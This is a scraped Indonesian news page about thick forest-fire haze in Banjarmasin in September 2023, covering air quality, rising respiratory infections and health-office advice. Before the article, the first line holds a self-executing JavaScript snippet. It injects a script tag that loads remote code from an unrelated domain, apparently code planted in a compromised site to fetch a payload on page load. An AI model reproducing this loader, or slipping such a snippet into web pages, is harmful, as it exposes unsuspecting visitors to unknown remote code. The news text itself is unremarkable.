(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM BANJARMASIN – Kabut asap akibat kebakaran hutan dan lahan (Karhutla) makin parah di Kota Banjarmasin, Kalsel.
Pantauan Kanalkalimantan.com, Jumat (29/9/2023) pagi, kabut asap nampak menyelimuti jalan nasional A Yani dan beberapa ruas jalan lainnya di Banjarmasin.
Kabut asap juga terasa lebih pekat dari hari-hari sebelumnya dan telah membatasi jarak pandangan pengendara.
Sementara itu, papan kualitas udara di Jalan Lambung Mangkurat angka Quality Monitoring System (AQMS) masih menunjukkan angka kuning mendekati merah atau masih dalam kategori tidak sehat.
Baca juga: Kualitas Udara Banjarmasin Level Kuning Tidak Sehat, Pasien ISPA Capai 5.896 Kasus
Laila (21) pengendara motor yang berasal dari Pelaihari mengaku telah merasakan pekatnya kabut asap dari kawasan Liang Anggang Banjarbaru hingga Kota Banjarmasin.
Ia yang ingin pergi kuliah ke Banjarmasin terpaksa harus mengenakan masker dan menutup kaca helmnya selama berkendara.
“Tapi tetap saja masih terasa perih mata sepanjang jalan,” katanya.
Merespon kualitas udara yang tidak sehat, Dinas Kesehatan Kota Banjarmasin pun telah mengeluarkan imbauan setiap masyarakat yang keluar rumah untuk mengenakan masker.
Baca juga: Siswi SMKN 1 Amuntai Juara Acoustic Competition 2023 HUT SMAN 2 Paringin
“Warga yang beraktivitas di luar ruangan diimbau untuk memakai masker, lebih baik lagi masker medis” kata Plt Kadinkes Banjarmasin Ramadhan, Kamis (29/9/2023) kemarin.
Imbauan dikeluarkan seiring meningkat kasus Infeksi Saluran Pernapasan Akut (ISPA) dalam tiga bulan terakhir di Kota Seribu Sungai.
Data terakhir Dinkes Kota Banjarmasin, kasus penyakit ISPA yang menyeragang warga di Kota Banjarmasin telah mencapai 5.896 kasus.
Baca juga: Modifikasi Cuaca di Kalsel Tak Berhasil, Ini Penyebabnya
“Gejala (ISPA) yang ditemukan adalah demam, batuk, sakit tenggorokan, nyeri saat menelan, pilek,” ungkap Ramadhan.
Untuk menjaga daya tahan tubuh saat kondisi udara kurang sehat, Kadinkes Banjarmasin juga menyarankan untuk mengonsumsi makanan-makanan yang sehat dan bergizi.
“Juga cukupi asupan air minum, istirahat yang cukup, bisa ditambah suplemen vitamin. Bagi yang memiliki riwayat penyakit asma agar selalu membawa obat-obatan,” ujarnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More
This website uses cookies.